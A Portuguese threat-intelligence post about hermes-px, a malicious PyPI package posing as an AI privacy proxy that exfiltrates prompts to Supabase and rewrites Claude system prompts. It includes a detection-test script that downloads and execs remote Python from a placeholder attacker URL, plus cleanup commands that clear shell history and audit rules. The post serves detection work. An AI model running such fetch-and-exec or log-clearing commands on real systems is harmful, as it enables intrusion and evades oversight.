SOC Prime Bias: Crítico

08 Abr 2026 18:28

hermes-px: Um Proxy de Privacidade Falso Exfiltrando Prompts e Manipulando Código Claude

Author Photo
Ruslan Mikhalov Chefe de Pesquisa de Ameaças na SOC Prime linkedin icon Seguir
hermes-px: Um Proxy de Privacidade Falso Exfiltrando Prompts e Manipulando Código Claude
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

Pesquisa de Segurança da JFrog identificou um pacote PyPI malicioso, hermes-px, se passando por um proxy de inferência de IA que prioriza a privacidade. Em vez de proteger os usuários, ele roteia o tráfego através do Tor para um endpoint de IA em uma universidade não autorizada, substitui ou reescreve mensagens do sistema e exfiltra prompts e respostas de modelos para um back-end do Supabase. O pacote também incorpora um prompt roubado e rebatizado do sistema Anthropic Claude, reforçando a enganação. hermes-px é distribuído via PyPI público e é instalável via fluxos de trabalho pip padrão, facilitando sua inclusão em ambientes de desenvolvedores.

Investigação

Os pesquisadores revisaram o código fonte e encontraram três camadas de criptografia usadas para ocultar strings sensíveis, juntamente com uma chave de API do Supabase embutida e um componente de Telemetria que transmite dados diretamente pela internet pública. O endpoint rio despejado resolve-se para uma API privada de universidade protegida por Azure WAF, indicando abuso de infraestrutura não destinada a proxy público. A documentação do projeto ainda incentiva os usuários a buscar e executar código adicional de uma URL do GitHub, ampliando o risco além do próprio pacote. Para se integrar aos padrões normais de desenvolvimento, hermes-px imita a interface do SDK Python do OpenAI, reduzindo suspeitas durante a integração.

Mitigação

Remova o hermes-px de todos os ambientes e bloqueie as fontes de dependência para evitar reinstalação. Atualize quaisquer credenciais que possam ter sido expostas em prompts, configurações ou logs, e bloqueie o acesso ao domínio de exfiltração do Supabase e outros URLs maliciosos identificados. Se o Tor foi instalado especificamente para suportar esta ferramenta, remova-o e revise os controles de rede relacionados. Assuma que os prompts podem conter dados sensíveis e revise qualquer conteúdo capturado em busca de segredos, tokens ou informações reguladas.

Resposta

Procure instalações do hermes-px usando inventários de pacotes e bases de estações de trabalho de desenvolvedores, então alerte sobre conexões de saída para supabase.co e o endpoint de API da universidade identificado. Quarentena os hosts afetados, preserve artefatos relevantes (arquivos de pacotes, histórico de terminal, arquivos de bloqueio de dependência) e identifique a exposição determinando quais prompts e respostas foram transmitidos. Notifique usuários impactados e, se aplicável, a(s) instituição(ões) afetada(s), e atualize as detecções para sinalizar clones de SDK, comportamento de proxy mediado por Tor e módulos de telemetria suspeitos em pacotes Python.

"graph TB %% Class definitions classDef technique fill:#ffcc99 classDef tool fill:#cccccc %% Technique nodes tech_user_exec["<b>Técnica</b> – <b>T1204 Execução de Usuário</b><br/>Vítima executa comando malicioso (por exemplo, pip install hermes-px)<br/><b>Descrição</b>: Execução de código malicioso convencendo um usuário a executá-lo."] class tech_user_exec technique tech_supply_chain["<b>Técnica</b> – <b>T1195.002 Comprometimento da Cadeia de Suprimento de Software</b><br/>Pacote PyPI malicioso publicado para sequestrar cadeia de dependência<br/><b>Descrição</b>: Adversário injeta código malicioso em uma cadeia de suprimento de software."] class tech_supply_chain technique tech_python["<b>Técnica</b> – <b>T1059.006 Python</b><br/>Código Python malicioso executado após instalação<br/><b>Descrição</b>: Uso do interpretador Python para executar comandos."] class tech_python technique tech_proxy_ext["<b>Técnica</b> – <b>T1090.002 Proxy Externo</b><br/>Tráfego roteado através de um nó de saída do Tor<br/><b>Descrição</b>: Uso de um serviço de proxy externo para ocultar a origem do tráfego de rede."] class tech_proxy_ext technique tech_proxy_multi["<b>Técnica</b> – <b>T1090.003 Proxy Multi-Hop</b><br/>Múltiplos saltos no Tor para anonimato<br/><b>Descrição</b>: Encadeamento de vários proxies para esconder ainda mais a fonte do tráfego."] class tech_proxy_multi technique tech_web_proto["<b>Técnica</b> – <b>T1071.001 Protocolos Web</b><br/>Pedidos HTTP para uma API de IA de universidade privada<br/><b>Descrição</b>: Uso de protocolos web para comunicação de comando e controle."] class tech_web_proto technique tech_obfuscation["<b>Técnica</b> – <b>T1027 Arquivos ou Informações Ofuscados</b><br/>Strings criptografadas decodificadas em tempo de execução<br/><b>Descrição</b>: Ocultar código malicioso usando criptografia ou codificação."] class tech_obfuscation technique tech_dynamic_api["<b>Técnica</b> – <b>T1027.007 Resolução de API Dinâmica</b><br/>Endereços de API resolvidos dinamicamente em tempo de execução<br/><b>Descrição</b>: Resolver e invocar APIs em tempo de execução para evitar detecção estática."] class tech_dynamic_api technique tech_exfil["<b>Técnica</b> – <b>T1567 Exfiltração por Serviço Web</b><br/>Dados enviados para endpoint do Supabase do atacante<br/><b>Descrição</b>: Transferência de dados para serviços web externos controlados pelo adversário."] class tech_exfil technique tech_subvert_trust["<b>Técnica</b> – <b>T1553 Subversão de Controles de Confiança</b><br/>Organização falsa e documentação polida usadas para atrair vítimas<br/><b>Descrição</b>: Manipular relações de confiança para facilitar o comprometimento."] class tech_subvert_trust technique %% Flow connections tech_user_exec –>|executa| tech_supply_chain tech_supply_chain –>|entrega| tech_python tech_python –>|usa| tech_proxy_ext tech_proxy_ext –>|encadeia para| tech_proxy_multi tech_proxy_multi –>|comunica via| tech_web_proto tech_web_proto –>|usa| tech_obfuscation tech_web_proto –>|usa| tech_dynamic_api tech_obfuscation –>|ativa| tech_exfil tech_dynamic_api –>|ativa| tech_exfil tech_python –>|ativa| tech_subvert_trust "

Fluxo de Ataque

Execução de Simulação

Pré-requisito: O teste pré-vôo de Telemetria e Linha de Base deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção. Exemplos abstratos ou não relacionados levarão a diagnósticos incorretos.

  • Narrativa e Comandos do Ataque:
    Um invasor obteve um payload malicioso Python hospedado em um repositório público do GitHub. Para evitar escrever arquivos no disco (reduzindo a pegada forense), ele usa um comando Python de linha única que:

    1. Chama urllib.request.urlopen() para baixar o conteúdo bruto do script do GitHub.
    2. Lê a resposta e passa os bytes para exec() para execução imediata.
    3. Executa o comando em um host Linux comprometido onde o invasor já possui um shell de baixo privilégio.

    Este padrão exato (python -c "import urllib.request; exec(urllib.request.urlopen(...).read())") corresponde aos critérios de string da regra de detecção.

  • Script de Teste de Regressão:

    #!/bin/bash
    #
    # Simular execução maliciosa de Python que deve acionar a regra Sigma.
    #
    MALICIOUS_URL="https://raw.githubusercontent.com/attacker/malicious/main/payload.py"
    python3 -c "import urllib.request, sys; exec(urllib.request.urlopen('$MALICIOUS_URL').read())"

    Salve este script como trigger_detection.sh, torne-o executável (chmod +x trigger_detection.sh) e execute-o no host de destino.

  • Comandos de Limpeza:

    # Nenhum artefato persistente é criado, mas certifique-se de que o terminal esteja limpo.
    history -c                     # Limpar o histórico de comandos da sessão atual
    sudo auditctl -D               # (Opcional) Remover todas as regras de auditoria em tempo de execução se você as adicionou apenas para teste
    # Se você adicionou uma regra persistente em /etc/audit/rules.d/, considere removê-la:
    # sudo rm /etc/audit/rules.d/process_creation.rules